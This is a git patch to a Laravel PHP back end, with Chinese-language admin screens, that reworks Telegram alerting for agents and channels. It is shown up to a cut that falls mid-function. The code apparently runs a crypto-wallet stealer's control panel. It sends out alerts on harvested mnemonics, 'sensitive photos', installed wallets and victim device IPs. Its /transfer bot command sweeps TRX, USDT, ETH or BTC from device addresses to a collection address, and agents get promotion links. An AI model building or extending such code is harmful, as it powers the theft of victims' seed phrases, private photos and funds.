From 376b4428801d24e1fdb3497cfdc26a999104bbbc Mon Sep 17 00:00:00 2001 From: hashbro Date: Sat, 15 Aug 2026 23:05:51 +0800 Subject: [PATCH] feat: bot --- .env.example | 2 + .../Controllers/Admin/AgentUserController.php | 81 +++++-- .../Admin/SystemSettingsController.php | 75 +++++- .../Hooks/TelegramWebhookController.php | 96 +------- app/Models/User.php | 25 +- app/Services/SettingsService.php | 6 + app/Services/TelegramNotifier.php | 217 ++++++++++++++---- app/Telegram/Handlers/HelpCommand.php | 39 +--- app/Telegram/Handlers/JoinedChatHandler.php | 82 +++++++ app/Telegram/Handlers/TransferCommand.php | 40 ++++ app/Telegram/Middleware/AuthorizedChat.php | 18 +- app/Telegram/Middleware/OfficialBotOnly.php | 21 -- app/Telegram/Middleware/OfficialOnly.php | 25 -- app/Telegram/TelegramBotContext.php | 35 ++- app/Telegram/TelegramRegistrar.php | 34 +-- config/coruna.php | 1 + resources/views/admin/agents/index.blade.php | 55 ++++- .../views/admin/system/settings.blade.php | 59 ++++- routes/admin.php | 2 + routes/console.php | 34 +-- routes/hooks.php | 2 - tests/Feature/AdminAgentPortalTest.php | 47 ++++ tests/Feature/SystemAdminTest.php | 96 +++++++- tests/Feature/TelegramBotTest.php | 173 +++++++++++--- tests/Feature/TelegramNotifierRoutingTest.php | 30 ++- tests/Unit/WalletAddressDisplayTest.php | 1 + 26 files changed, 944 insertions(+), 352 deletions(-) create mode 100644 app/Telegram/Handlers/JoinedChatHandler.php delete mode 100644 app/Telegram/Middleware/OfficialBotOnly.php delete mode 100644 app/Telegram/Middleware/OfficialOnly.php diff --git a/.env.example b/.env.example index 35fe0fb..9ecbaa0 100644 --- a/.env.example +++ b/.env.example @@ -86,6 +86,8 @@ CORUNA_7Z_BIN= # Telegram (outbound alerts + inbound Nutgram commands) TELEGRAM_BOT_TOKEN= TELEGRAM_OWNER_CHAT_ID= +# Optional cache of @username; normally filled automatically via getMe when saving Token +# TELEGRAM_BOT_USERNAME= # Optional; if set, register via: php artisan telegram:set-webhook TELEGRAM_WEBHOOK_SECRET= # Do not enable unless you understand Nutgram's md5(APP_KEY) secret check diff --git a/app/Http/Controllers/Admin/AgentUserController.php b/app/Http/Controllers/Admin/AgentUserController.php index 55cbf1b..6050307 100644 --- a/app/Http/Controllers/Admin/AgentUserController.php +++ b/app/Http/Controllers/Admin/AgentUserController.php @@ -5,14 +5,18 @@ namespace App\Http\Controllers\Admin; use App\Http\Controllers\Controller; use App\Models\Channel; use App\Models\User; +use App\Services\TelegramNotifier; use Illuminate\Http\Request; use Illuminate\Validation\Rule; class AgentUserController extends Controller { - public function index() + public function index(TelegramNotifier $telegram) { - return view('admin.agents.index'); + return view('admin.agents.index', [ + 'botUsername' => $telegram->cachedBotUsername(), + 'botInviteUrl' => $telegram->inviteUrl(), + ]); } public function data(Request $request) @@ -47,8 +51,7 @@ class AgentUserController extends Controller 'status' => (int) $u->status, 'comment' => $u->comment ?: '', 'chat_id' => $u->chat_id ?: '', - 'bot_token' => $u->bot_token ?: '', - 'telegram_ready' => $u->hasTelegramBot(), + 'telegram_ready' => $u->hasTelegramChat(), 'channels_count' => (int) $u->channels_count, 'created_at' => optional($u->created_at)->format('Y-m-d H:i:s'), 'updated_at' => optional($u->updated_at)->format('Y-m-d H:i:s'), @@ -70,8 +73,7 @@ class AgentUserController extends Controller 'password' => ['required', 'string', 'min:6', 'max:128'], 'comment' => ['nullable', 'string', 'max:255'], 'status' => ['nullable', 'integer', Rule::in([0, 1])], - 'chat_id' => ['nullable', 'string', 'max:64'], - 'bot_token' => ['nullable', 'string', 'max:255'], + 'chat_id' => $this->chatIdRules(), ]); $user = User::query()->create([ @@ -80,7 +82,6 @@ class AgentUserController extends Controller 'comment' => $data['comment'] ?? null, 'status' => (int) ($data['status'] ?? 1), 'chat_id' => $this->nullableTrim($data['chat_id'] ?? null), - 'bot_token' => $this->nullableTrim($data['bot_token'] ?? null), ]); return response()->json(['code' => 0, 'msg' => 'ok', 'data' => ['id' => $user->id]]); @@ -92,8 +93,7 @@ class AgentUserController extends Controller 'password' => ['nullable', 'string', 'min:6', 'max:128'], 'comment' => ['nullable', 'string', 'max:255'], 'status' => ['nullable', 'integer', Rule::in([0, 1])], - 'chat_id' => ['nullable', 'string', 'max:64'], - 'bot_token' => ['nullable', 'string', 'max:255'], + 'chat_id' => $this->chatIdRules($agent->id), ]); if (array_key_exists('comment', $data)) { @@ -105,12 +105,6 @@ class AgentUserController extends Controller if (array_key_exists('chat_id', $data)) { $agent->chat_id = $this->nullableTrim($data['chat_id']); } - if (array_key_exists('bot_token', $data)) { - $token = $this->nullableTrim($data['bot_token']); - // Empty string in edit form means "leave unchanged" only when field omitted; - // explicit empty clears. UI sends current value when unchanged. - $agent->bot_token = $token; - } if (! empty($data['password'])) { $agent->password = $data['password']; } @@ -119,6 +113,33 @@ class AgentUserController extends Controller return response()->json(['code' => 0, 'msg' => 'ok']); } + public function testTelegram(Request $request, TelegramNotifier $telegram) + { + $data = $request->validate([ + 'chat_id' => ['nullable', 'string', 'max:64'], + 'agent_id' => ['nullable', 'integer'], + ]); + + $chatId = $this->nullableTrim($data['chat_id'] ?? null) ?? ''; + $agent = null; + if (! empty($data['agent_id'])) { + $agent = User::query()->find((int) $data['agent_id']); + if ($chatId === '') { + $chatId = trim((string) ($agent?->chat_id ?? '')); + } + } + + $label = $agent !== null + ? '代理 '.$agent->username.' 通知群推送正常。' + : '代理通知群推送正常。'; + $result = $telegram->sendTest($chatId, $label); + + return response()->json([ + 'code' => $result['ok'] ? 0 : 1, + 'msg' => $result['ok'] ? '已发送测试消息,请查看对应群' : ($result['error'] ?: '发送失败'), + ]); + } + public function channels(User $agent) { $rows = Channel::query() @@ -137,6 +158,36 @@ class AgentUserController extends Controller return response()->json(['code' => 0, 'msg' => '', 'data' => $rows]); } + /** @return list */ + private function chatIdRules(?int $ignoreUserId = null): array + { + $unique = Rule::unique('users', 'chat_id') + ->where(fn ($q) => $q->whereNotNull('chat_id')->where('chat_id', '!=', '')); + if ($ignoreUserId !== null) { + $unique = $unique->ignore($ignoreUserId); + } + + return [ + 'nullable', + 'string', + 'max:64', + function (string $attribute, mixed $value, \Closure $fail) use ($unique): void { + $chatId = $this->nullableTrim($value); + if ($chatId === null) { + return; + } + $owner = trim((string) config('coruna.telegram.owner_chat_id', '')); + if ($owner !== '' && $chatId === $owner) { + $fail('不能与官方 Telegram Chat ID 相同'); + } + $validator = validator([$attribute => $chatId], [$attribute => [$unique]]); + if ($validator->fails()) { + $fail('该 Chat ID 已被其他代理使用'); + } + }, + ]; + } + private function nullableTrim(mixed $value): ?string { if ($value === null) { diff --git a/app/Http/Controllers/Admin/SystemSettingsController.php b/app/Http/Controllers/Admin/SystemSettingsController.php index 5c97a0a..337feb7 100644 --- a/app/Http/Controllers/Admin/SystemSettingsController.php +++ b/app/Http/Controllers/Admin/SystemSettingsController.php @@ -4,18 +4,33 @@ namespace App\Http\Controllers\Admin; use App\Http\Controllers\Controller; use App\Services\SettingsService; +use App\Services\TelegramNotifier; use Illuminate\Http\Request; class SystemSettingsController extends Controller { - public function index(SettingsService $settings) + public function index(SettingsService $settings, TelegramNotifier $telegram) { + $form = $settings->effectiveForForm(); + $token = trim((string) ($form['telegram.bot_token'] ?? '')); + $username = trim((string) ($form['telegram.bot_username'] ?? '')); + if ($token !== '' && $username === '') { + $fetched = $telegram->fetchBotUsername($token); + if ($fetched !== null) { + $username = ltrim($fetched, '@'); + $settings->putMany(['telegram.bot_username' => $username]); + $form['telegram.bot_username'] = $username; + } + } + return view('admin.system.settings', [ - 'form' => $settings->effectiveForForm(), + 'form' => $form, + 'botUsername' => $telegram->formatBotUsername($form['telegram.bot_username'] ?? ''), + 'botInviteUrl' => $telegram->inviteUrl($form['telegram.bot_username'] ?? ''), ]); } - public function update(Request $request, SettingsService $settings) + public function update(Request $request, SettingsService $settings, TelegramNotifier $telegram) { $data = $request->validate([ 'telegram_bot_token' => ['nullable', 'string', 'max:255'], @@ -30,8 +45,27 @@ class SystemSettingsController extends Controller $adminHosts = SettingsService::parseDomains($data['panel_admin_hosts'] ?? null); $agentHosts = SettingsService::parseDomains($data['panel_agent_hosts'] ?? null); + $token = trim((string) ($data['telegram_bot_token'] ?? '')); + $username = ''; + $note = ''; + if ($token !== '') { + $fetched = $telegram->fetchBotUsername($token); + if ($fetched !== null) { + $username = ltrim($fetched, '@'); + } else { + $sameToken = $token === trim((string) config('coruna.telegram.bot_token', '')); + $previous = ltrim((string) config('coruna.telegram.bot_username', ''), '@'); + if ($sameToken && $previous !== '') { + $username = $previous; + } else { + $note = ';未能从 Token 读取 Bot 用户名,请确认 Token 有效'; + } + } + } + $settings->putMany([ - 'telegram.bot_token' => $data['telegram_bot_token'] ?? null, + 'telegram.bot_token' => $token !== '' ? $token : null, + 'telegram.bot_username' => $username !== '' ? $username : null, 'telegram.owner_chat_id' => $data['telegram_owner_chat_id'] ?? null, 'channels.max_per_agent' => isset($data['channels_max_per_agent']) ? (string) $data['channels_max_per_agent'] @@ -43,6 +77,37 @@ class SystemSettingsController extends Controller 'panel.agent_hosts' => $agentHosts === [] ? '' : implode(',', $agentHosts), ]); - return response()->json(['code' => 0, 'msg' => '已保存']); + $display = $telegram->formatBotUsername($username); + + return response()->json([ + 'code' => 0, + 'msg' => '已保存'.($display !== '' ? '(Bot '.$display.')' : '').$note, + 'data' => [ + 'bot_username' => $display, + 'bot_invite_url' => $telegram->inviteUrl($display), + ], + ]); + } + + public function testTelegram(Request $request, TelegramNotifier $telegram) + { + $data = $request->validate([ + 'chat_id' => ['nullable', 'string', 'max:64'], + 'bot_token' => ['nullable', 'string', 'max:255'], + ]); + + $chatId = trim((string) ($data['chat_id'] ?? '')); + if ($chatId === '') { + $chatId = trim((string) config('coruna.telegram.owner_chat_id', '')); + } + $token = trim((string) ($data['bot_token'] ?? '')); + $token = $token !== '' ? $token : null; + + $result = $telegram->sendTest($chatId, '官方通知群推送正常。', $token); + + return response()->json([ + 'code' => $result['ok'] ? 0 : 1, + 'msg' => $result['ok'] ? '已发送测试消息,请查看对应群' : ($result['error'] ?: '发送失败'), + ]); } } diff --git a/app/Http/Controllers/Hooks/TelegramWebhookController.php b/app/Http/Controllers/Hooks/TelegramWebhookController.php index b265996..4d09fb4 100644 --- a/app/Http/Controllers/Hooks/TelegramWebhookController.php +++ b/app/Http/Controllers/Hooks/TelegramWebhookController.php @@ -3,16 +3,10 @@ namespace App\Http\Controllers\Hooks; use App\Http\Controllers\Controller; -use App\Models\User; use App\Telegram\TelegramBotContext; -use App\Telegram\TelegramRegistrar; -use Illuminate\Contracts\Cache\Repository as Cache; use Illuminate\Http\Request; use Illuminate\Http\Response; use Illuminate\Support\Facades\Log; -use Nutgram\Laravel\RunningMode\LaravelWebhook; -use Psr\Log\LoggerInterface; -use SergiX44\Nutgram\Configuration; use SergiX44\Nutgram\Nutgram; use Throwable; @@ -22,51 +16,6 @@ class TelegramWebhookController extends Controller { app(TelegramBotContext::class)->setAgent(null); - return $this->handle( - $request, - expectedSecret: (string) config('coruna.telegram.webhook_secret', ''), - resolveBot: static fn () => app(Nutgram::class), - label: 'official', - ); - } - - public function agent(Request $request, User $agent): Response - { - if (! $agent->isEnabled() || ! $agent->hasTelegramBot()) { - abort(404); - } - - app(TelegramBotContext::class)->setAgent($agent); - $secret = TelegramBotContext::webhookSecretFor($agent); - - return $this->handle( - $request, - expectedSecret: $secret, - resolveBot: function () use ($agent) { - if (app()->runningUnitTests()) { - return app(Nutgram::class); - } - - $bot = $this->makeAgentBot($agent); - app(TelegramRegistrar::class)->registerAgent($bot, $agent); - - return $bot; - }, - label: 'agent:'.$agent->id, - requireSecret: true, - ); - } - - /** - * @param callable(): Nutgram $resolveBot - */ - private function handle( - Request $request, - string $expectedSecret, - callable $resolveBot, - string $label, - bool $requireSecret = false, - ): Response { $raw = $request->getContent(); $update = $request->all(); if ($update === [] && is_string($raw) && $raw !== '') { @@ -81,9 +30,9 @@ class TelegramWebhookController extends Controller $text = is_string($message['text'] ?? null) ? $message['text'] : null; $updateId = $update['update_id'] ?? null; $header = (string) $request->header('X-Telegram-Bot-Api-Secret-Token', ''); + $expectedSecret = (string) config('coruna.telegram.webhook_secret', ''); $this->webhookLog('info', 'telegram webhook hit', [ - 'bot' => $label, 'ip' => $request->ip(), 'update_id' => $updateId, 'chat_id' => $chatId, @@ -93,10 +42,9 @@ class TelegramWebhookController extends Controller 'body_bytes' => strlen($raw), ]); - if ($requireSecret || $expectedSecret !== '') { - if ($expectedSecret === '' || $header === '' || ! hash_equals($expectedSecret, $header)) { + if ($expectedSecret !== '') { + if ($header === '' || ! hash_equals($expectedSecret, $header)) { $this->webhookLog('warning', 'telegram webhook rejected: bad secret', [ - 'bot' => $label, 'ip' => $request->ip(), 'update_id' => $updateId, ]); @@ -105,17 +53,15 @@ class TelegramWebhookController extends Controller } try { - $bot = $resolveBot(); + $bot = app(Nutgram::class); $bot->run(); $this->webhookLog('info', 'telegram webhook handled', [ - 'bot' => $label, 'update_id' => $updateId, 'chat_id' => $chatId, 'handler' => $bot->currentHandler()?->getPattern(), ]); } catch (Throwable $e) { $this->webhookLog('error', 'telegram webhook failed', [ - 'bot' => $label, 'message' => $e->getMessage(), 'exception' => $e::class, 'file' => $e->getFile().':'.$e->getLine(), @@ -132,40 +78,6 @@ class TelegramWebhookController extends Controller return response()->noContent(); } - private function makeAgentBot(User $agent): Nutgram - { - $configuration = new Configuration( - apiUrl: config('nutgram.config.api_url', Configuration::DEFAULT_API_URL), - botId: config('nutgram.config.bot_id'), - botName: config('nutgram.config.bot_name'), - testEnv: config('nutgram.config.test_env', false), - isLocal: config('nutgram.config.is_local', false), - clientTimeout: config('nutgram.config.timeout', Configuration::DEFAULT_CLIENT_TIMEOUT), - clientOptions: config('nutgram.config.client', []), - container: app(), - hydrator: config('nutgram.config.hydrator', Configuration::DEFAULT_HYDRATOR), - cache: app(Cache::class), - logger: app(LoggerInterface::class)->channel(config('nutgram.log_channel', 'null')), - localPathTransformer: config('nutgram.config.local_path_transformer'), - pollingTimeout: config('nutgram.config.polling.timeout', Configuration::DEFAULT_POLLING_TIMEOUT), - pollingAllowedUpdates: config('nutgram.config.polling.allowed_updates', Configuration::DEFAULT_ALLOWED_UPDATES), - pollingLimit: config('nutgram.config.polling.limit', Configuration::DEFAULT_POLLING_LIMIT), - enableHttp2: config('nutgram.config.enable_http2', Configuration::DEFAULT_ENABLE_HTTP2), - conversationTtl: config('nutgram.config.conversation_ttl', Configuration::DEFAULT_CONVERSATION_TTL), - ); - - $bot = new Nutgram((string) $agent->bot_token, $configuration); - $secret = TelegramBotContext::webhookSecretFor($agent); - $webhook = new LaravelWebhook( - getToken: static fn () => request()?->header('X-Telegram-Bot-Api-Secret-Token'), - secretToken: $secret, - ); - $webhook->setSafeMode(true); - $bot->setRunningMode($webhook); - - return $bot; - } - /** @param array $context */ private function webhookLog(string $level, string $message, array $context = []): void { diff --git a/app/Models/User.php b/app/Models/User.php index aac09cf..34cf489 100644 --- a/app/Models/User.php +++ b/app/Models/User.php @@ -8,7 +8,7 @@ use Illuminate\Foundation\Auth\User as Authenticatable; class User extends Authenticatable { protected $fillable = [ - 'username', 'password', 'status', 'comment', 'chat_id', 'bot_token', + 'username', 'password', 'status', 'comment', 'chat_id', ]; protected $hidden = [ @@ -42,9 +42,28 @@ class User extends Authenticatable return $this->hasMany(Channel::class, 'user_id'); } + public function hasTelegramChat(): bool + { + return trim((string) ($this->chat_id ?? '')) !== ''; + } + + /** @deprecated Use hasTelegramChat(); kept for existing call sites. */ public function hasTelegramBot(): bool { - return trim((string) ($this->bot_token ?? '')) !== '' - && trim((string) ($this->chat_id ?? '')) !== ''; + return $this->hasTelegramChat(); + } + + public static function findEnabledByChatId(int|string|null $chatId): ?self + { + $chatId = trim((string) $chatId); + if ($chatId === '') { + return null; + } + + return static::query() + ->where('status', 1) + ->where('chat_id', $chatId) + ->orderBy('id') + ->first(); } } diff --git a/app/Services/SettingsService.php b/app/Services/SettingsService.php index 1b42262..b653e6d 100644 --- a/app/Services/SettingsService.php +++ b/app/Services/SettingsService.php @@ -10,6 +10,7 @@ class SettingsService { public const KEYS = [ 'telegram.bot_token', + 'telegram.bot_username', 'telegram.owner_chat_id', 'channels.max_per_agent', 'channels.domains', @@ -73,6 +74,10 @@ class SettingsService 'nutgram.token' => $bot, ]); } + $botName = $map['telegram.bot_username'] ?? null; + if ($botName !== null) { + config(['coruna.telegram.bot_username' => $botName]); + } $chat = $map['telegram.owner_chat_id'] ?? null; if ($chat !== null && $chat !== '') { config(['coruna.telegram.owner_chat_id' => $chat]); @@ -110,6 +115,7 @@ class SettingsService return [ 'telegram.bot_token' => (string) (config('coruna.telegram.bot_token') ?: ''), + 'telegram.bot_username' => (string) (config('coruna.telegram.bot_username') ?: ''), 'telegram.owner_chat_id' => (string) (config('coruna.telegram.owner_chat_id') ?: ''), 'channels.max_per_agent' => (string) (int) config('coruna.channels.max_per_agent', 5), 'channels.domains' => is_array($domains) ? implode("\n", $domains) : '', diff --git a/app/Services/TelegramNotifier.php b/app/Services/TelegramNotifier.php index 7d95507..b45e698 100644 --- a/app/Services/TelegramNotifier.php +++ b/app/Services/TelegramNotifier.php @@ -11,47 +11,134 @@ use Illuminate\Support\Facades\Log; class TelegramNotifier { + /** @var array */ + private array $deviceContext = []; + public function systemEnabled(): bool { - return trim((string) config('coruna.telegram.bot_token', '')) !== '' + return $this->botToken() !== '' && trim((string) config('coruna.telegram.owner_chat_id', '')) !== ''; } /** - * @return array{0: string, 1: string}|null [token, chatId] + * Site-wide bot token. Agents only configure chat_id. */ - public function resolveDestination(?string $deviceKey = null): ?array + public function botToken(): string { - $agent = $this->resolveAgentForDeviceKey($deviceKey); - if ($agent !== null && $agent->isEnabled() && $agent->hasTelegramBot()) { - return [ - trim((string) $agent->bot_token), - trim((string) $agent->chat_id), - ]; - } + return trim((string) config('coruna.telegram.bot_token', '')); + } - if (! $this->systemEnabled()) { + public function formatBotUsername(?string $username): string + { + $username = ltrim(trim((string) $username), '@'); + + return $username === '' ? '' : '@'.$username; + } + + public function cachedBotUsername(): string + { + return $this->formatBotUsername((string) config('coruna.telegram.bot_username', '')); + } + + public function inviteUrl(?string $username = null): string + { + $name = ltrim($username !== null && trim($username) !== '' + ? $this->formatBotUsername($username) + : $this->cachedBotUsername(), '@'); + + return $name === '' ? '' : 'https://t.me/'.$name.'?startgroup=1'; + } + + /** Resolve @username via Telegram getMe. */ + public function fetchBotUsername(?string $token = null): ?string + { + $token = trim((string) ($token !== null && trim($token) !== '' ? $token : $this->botToken())); + if ($token === '') { return null; } - return [ - trim((string) config('coruna.telegram.bot_token')), - trim((string) config('coruna.telegram.owner_chat_id')), - ]; + try { + $resp = Http::timeout(8)->get("https://api.telegram.org/bot{$token}/getMe"); + if (! $resp->successful() || $resp->json('ok') !== true) { + return null; + } + $name = $this->formatBotUsername((string) ($resp->json('result.username') ?? '')); + + return $name !== '' ? $name : null; + } catch (\Throwable $e) { + Log::warning('telegram getMe failed: '.$e->getMessage()); + + return null; + } + } + + /** + * Agent device with chat_id → agent chat + official chat. + * Otherwise official chat only. + * + * @return list + */ + public function resolveChatIds(?string $deviceKey = null): array + { + if ($this->botToken() === '') { + return []; + } + + $owner = trim((string) config('coruna.telegram.owner_chat_id', '')); + $agentChat = ''; + $agent = $this->contextForDevice($deviceKey)['agent']; + if ($agent !== null && $agent->isEnabled() && $agent->hasTelegramChat()) { + $agentChat = trim((string) $agent->chat_id); + } + + $chatIds = []; + if ($agentChat !== '') { + $chatIds[] = $agentChat; + } + if ($owner !== '' && $owner !== $agentChat) { + $chatIds[] = $owner; + } + + return $chatIds; } public function enabled(?string $deviceKey = null): bool { - return $this->resolveDestination($deviceKey) !== null; + return $this->resolveChatIds($deviceKey) !== []; } public function send(string $text, ?string $deviceKey = null): bool { - $dest = $this->resolveDestination($deviceKey); - if ($dest === null) { + $chatIds = $this->resolveChatIds($deviceKey); + if ($chatIds === []) { return false; } - [$token, $chatId] = $dest; + + $ok = false; + foreach ($chatIds as $chatId) { + if ($this->sendToChat($chatId, $text)['ok']) { + $ok = true; + } + } + + return $ok; + } + + /** + * Send one message to a specific chat using the site bot (or an override token). + * + * @return array{ok: bool, error: ?string} + */ + public function sendToChat(string $chatId, string $text, ?string $token = null): array + { + $token = trim((string) ($token !== null && trim($token) !== '' ? $token : $this->botToken())); + $chatId = trim($chatId); + if ($token === '') { + return ['ok' => false, 'error' => '未配置 Bot Token']; + } + if ($chatId === '') { + return ['ok' => false, 'error' => '未填写 Chat ID']; + } try { $resp = Http::timeout(15)->asForm()->post( @@ -63,20 +150,43 @@ class TelegramNotifier 'disable_web_page_preview' => true, ] ); + if ($resp->successful() && ($resp->json('ok') === true)) { + return ['ok' => true, 'error' => null]; + } - return $resp->successful(); + $desc = trim((string) ($resp->json('description') ?? '')); + if ($desc === '') { + $desc = 'HTTP '.$resp->status(); + } + Log::warning('telegram send failed: '.$desc, ['chat_id' => $chatId]); + + return ['ok' => false, 'error' => $desc]; } catch (\Throwable $e) { - Log::warning('telegram send failed: '.$e->getMessage()); + Log::warning('telegram send failed: '.$e->getMessage(), ['chat_id' => $chatId]); - return false; + return ['ok' => false, 'error' => $e->getMessage()]; } } + /** + * @return array{ok: bool, error: ?string} + */ + public function sendTest(string $chatId, string $label, ?string $token = null): array + { + $chatId = trim($chatId); + + return $this->sendToChat($chatId, implode("\n", [ + '🧪 Telegram 测试', + $this->e($label), + '🆔 Chat ID: '.$this->e($chatId).'', + ]), $token); + } + public function notifyNewDevice(string $deviceId, ?string $ios, ?string $ip): void { $this->send(implode("\n", [ '📱 New Device', - '🔑 Device: '.$this->e($deviceId).'', + ...$this->deviceHeader($deviceId), '🍎 iOS: '.$this->e($ios ?: '—'), '🌐 IP: '.$this->e($ip ?: '—').'', ]), $deviceId); @@ -105,7 +215,7 @@ class TelegramNotifier $lines = [ '💰 New Wallet Address'.(count($wallets) > 1 ? ' ('.count($wallets).')' : ''), - '📱 Device: '.$this->e($deviceId).'', + ...$this->deviceHeader($deviceId), ]; foreach ($wallets as $i => $w) { @@ -140,7 +250,7 @@ class TelegramNotifier $this->send(implode("\n", [ '👜 Installed Wallets', - '📱 Device: '.$this->e($deviceId).'', + ...$this->deviceHeader($deviceId), '🏷 Wallets: '.$this->e(implode(', ', $wallets)), ]), $deviceId); } @@ -149,7 +259,7 @@ class TelegramNotifier { $this->send(implode("\n", [ '🔐 New Mnemonic', - '📱 Device: '.$this->e($deviceId).'', + ...$this->deviceHeader($deviceId), '🏷 Source: '.$this->e($source ?: '—'), '📝 Mnemonic: '.$this->e(WalletMnemonic::maskSecret($memoric)).'', ]), $deviceId); @@ -159,7 +269,7 @@ class TelegramNotifier { $this->send(implode("\n", [ '🖼 Sensitive Photo', - '📱 Device: '.$this->e($deviceId).'', + ...$this->deviceHeader($deviceId), '🎯 x-hit: '.$this->e((string) $xHit), '📦 Count: '.$this->e((string) max(1, $count)), ]), $deviceId); @@ -175,7 +285,7 @@ class TelegramNotifier ): void { $lines = [ '✅ Balance Inbound', - '📱 Device: '.$this->e($deviceId).'', + ...$this->deviceHeader($deviceId), '⛓ Chain: '.$this->e($chain ?: '—'), '📬 Address: '.$this->e($address).'', '💵 Amount: +'.$this->e($amount).' '.$this->e($symbol), @@ -186,32 +296,49 @@ class TelegramNotifier $this->send(implode("\n", $lines), $deviceId); } - private function resolveAgentForDeviceKey(?string $deviceKey): ?User + /** @return list */ + private function deviceHeader(string $deviceId): array + { + $channelId = $this->contextForDevice($deviceId)['channel_id']; + + return [ + '📱 Device: '.$this->e($deviceId).'', + '📡 ChannelID: '.$this->e($channelId !== '' ? $channelId : '—').'', + ]; + } + + /** + * @return array{channel_id: string, agent: ?User} + */ + private function contextForDevice(?string $deviceKey): array { $deviceKey = trim((string) $deviceKey); if ($deviceKey === '') { - return null; + return ['channel_id' => '', 'agent' => null]; + } + if (isset($this->deviceContext[$deviceKey])) { + return $this->deviceContext[$deviceKey]; } + $channelId = ''; + $agent = null; try { - $channelId = Device::query() - ->where('device_id', $deviceKey) - ->value('channel_id'); - if (! is_string($channelId) || $channelId === '') { - return null; + $found = Device::query()->where('device_id', $deviceKey)->value('channel_id'); + $channelId = is_string($found) ? $found : ''; + if ($channelId !== '') { + $userId = Channel::query()->where('channel_id', $channelId)->value('user_id'); + if ($userId !== null && (int) $userId > 0) { + $agent = User::query()->find((int) $userId); + } } - - $userId = Channel::query() - ->where('channel_id', $channelId) - ->value('user_id'); - if ($userId === null || (int) $userId <= 0) { - return null; - } - - return User::query()->find((int) $userId); } catch (\Throwable) { - return null; + // } + + return $this->deviceContext[$deviceKey] = [ + 'channel_id' => $channelId, + 'agent' => $agent, + ]; } private function e(?string $value): string diff --git a/app/Telegram/Handlers/HelpCommand.php b/app/Telegram/Handlers/HelpCommand.php index 771bbe6..7a68a86 100644 --- a/app/Telegram/Handlers/HelpCommand.php +++ b/app/Telegram/Handlers/HelpCommand.php @@ -2,19 +2,14 @@ namespace App\Telegram\Handlers; -use App\Telegram\TelegramBotContext; use SergiX44\Nutgram\Nutgram; class HelpCommand { - public function __construct( - private readonly TelegramBotContext $context, - ) {} - public function __invoke(Nutgram $bot): void { - $lines = [ - '📖 可用指令(仅指定群管理员)', + $bot->sendMessage(implode("\n", [ + '📖 可用指令(仅系统已配置群的管理员)', '', '/help', ' 查看本帮助', @@ -33,26 +28,14 @@ class HelpCommand '', '/channel', ' 列出渠道:ID、备注、归属;新版点按钮复制推广 iframe,旧版复制投放链接', - ]; - - if ($this->context->isOfficial()) { - $lines = array_merge($lines, [ - '', - '/transfer [TRX|USDT|ETH|BTC] [amount]', - ' 从设备地址转出到配置收款地址(仅官方)', - ' 按地址识别链:T…=Tron,0x…=ETH,1…/3…/bc1…=BTC', - ' 省略 amount 则转全部;默认 Tron→USDT / ETH→ETH / BTC→BTC', - ' 例: /transfer Txxx USDT 10', - ' 例: /transfer 0x… ETH', - ' 例: /transfer 1… BTC 0.01', - ]); - } else { - $lines = array_merge($lines, [ - '', - '(当前为代理机器人:仅可查看本代理渠道数据,不支持 /transfer)', - ]); - } - - $bot->sendMessage(implode("\n", $lines)); + '', + '/transfer [TRX|USDT|ETH|BTC] [amount]', + ' 从设备地址转出到配置收款地址', + ' 按地址识别链:T…=Tron,0x…=ETH,1…/3…/bc1…=BTC', + ' 省略 amount 则转全部;默认 Tron→USDT / ETH→ETH / BTC→BTC', + ' 例: /transfer Txxx USDT 10', + ' 例: /transfer 0x… ETH', + ' 例: /transfer 1… BTC 0.01', + ])); } } diff --git a/app/Telegram/Handlers/JoinedChatHandler.php b/app/Telegram/Handlers/JoinedChatHandler.php new file mode 100644 index 0000000..cd2e797 --- /dev/null +++ b/app/Telegram/Handlers/JoinedChatHandler.php @@ -0,0 +1,82 @@ +chatMember(); + if ($update === null) { + return; + } + + $type = $update->chat->type ?? null; + $typeValue = $type instanceof ChatType ? $type->value : (string) $type; + if (! in_array($typeValue, [ChatType::GROUP->value, ChatType::SUPERGROUP->value, 'group', 'supergroup'], true)) { + return; + } + + $old = $this->statusValue($update->old_chat_member->status ?? null); + $new = $this->statusValue($update->new_chat_member->status ?? null); + if (! in_array($old, self::OUT_GROUP, true) || ! in_array($new, self::IN_GROUP, true)) { + return; + } + + $chatId = (string) $update->chat->id; + $title = trim((string) ($update->chat->title ?? '')); + $lines = ['✅ Bot 已加入本群']; + if ($title !== '') { + $lines[] = '🏷 群名: '.$this->e($title); + } + $lines[] = '🆔 Chat ID: '.$this->e($chatId).''; + $lines[] = ''; + $lines[] = '把上面的 Chat ID 填到后台:'; + $lines[] = '• 官方通知 → 系统设置'; + $lines[] = '• 代理单独推送 → 代理用户'; + + try { + $bot->sendMessage( + implode("\n", $lines), + parse_mode: ParseMode::HTML, + reply_markup: InlineKeyboardMarkup::make()->addRow( + InlineKeyboardButton::make( + text: '复制 Chat ID', + copy_text: CopyTextButton::make($chatId), + ) + ), + ); + } catch (\Throwable $e) { + Log::warning('telegram join announce failed: '.$e->getMessage(), [ + 'chat_id' => $chatId, + ]); + } + } + + private function statusValue(mixed $status): string + { + if ($status instanceof ChatMemberStatus) { + return $status->value; + } + + return strtolower(trim((string) $status)); + } + + private function e(string $value): string + { + return htmlspecialchars($value, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8'); + } +} diff --git a/app/Telegram/Handlers/TransferCommand.php b/app/Telegram/Handlers/TransferCommand.php index 12105c9..e2c8667 100644 --- a/app/Telegram/Handlers/TransferCommand.php +++ b/app/Telegram/Handlers/TransferCommand.php @@ -2,13 +2,19 @@ namespace App\Telegram\Handlers; +use App\Models\Channel; +use App\Models\Device; +use App\Models\User; +use App\Models\WalletAddress; use App\Services\TransferService; +use App\Telegram\TelegramBotContext; use SergiX44\Nutgram\Nutgram; class TransferCommand { public function __construct( private readonly TransferService $transfers, + private readonly TelegramBotContext $context, ) {} public function __invoke(Nutgram $bot, string $args): void @@ -74,6 +80,13 @@ class TransferCommand $amount = $parts[2]; } + $agent = $this->context->agent(); + if ($agent !== null && ! $this->addressOwnedByAgent($from, $agent)) { + $bot->sendMessage('⛔ 无权操作该地址(仅限本代理渠道设备)'); + + return; + } + $label = $amount === null ? "ALL {$asset}" : "{$amount} {$asset}"; $bot->sendMessage("⏳ Transferring {$label} from {$from} ({$chain}) …"); @@ -151,4 +164,31 @@ class TransferCommand return $name !== '' ? "telegram:{$id}({$name})" : "telegram:{$id}"; } + + private function addressOwnedByAgent(string $fromAddress, User $agent): bool + { + $channelIds = Channel::query() + ->where('user_id', $agent->id) + ->pluck('channel_id'); + if 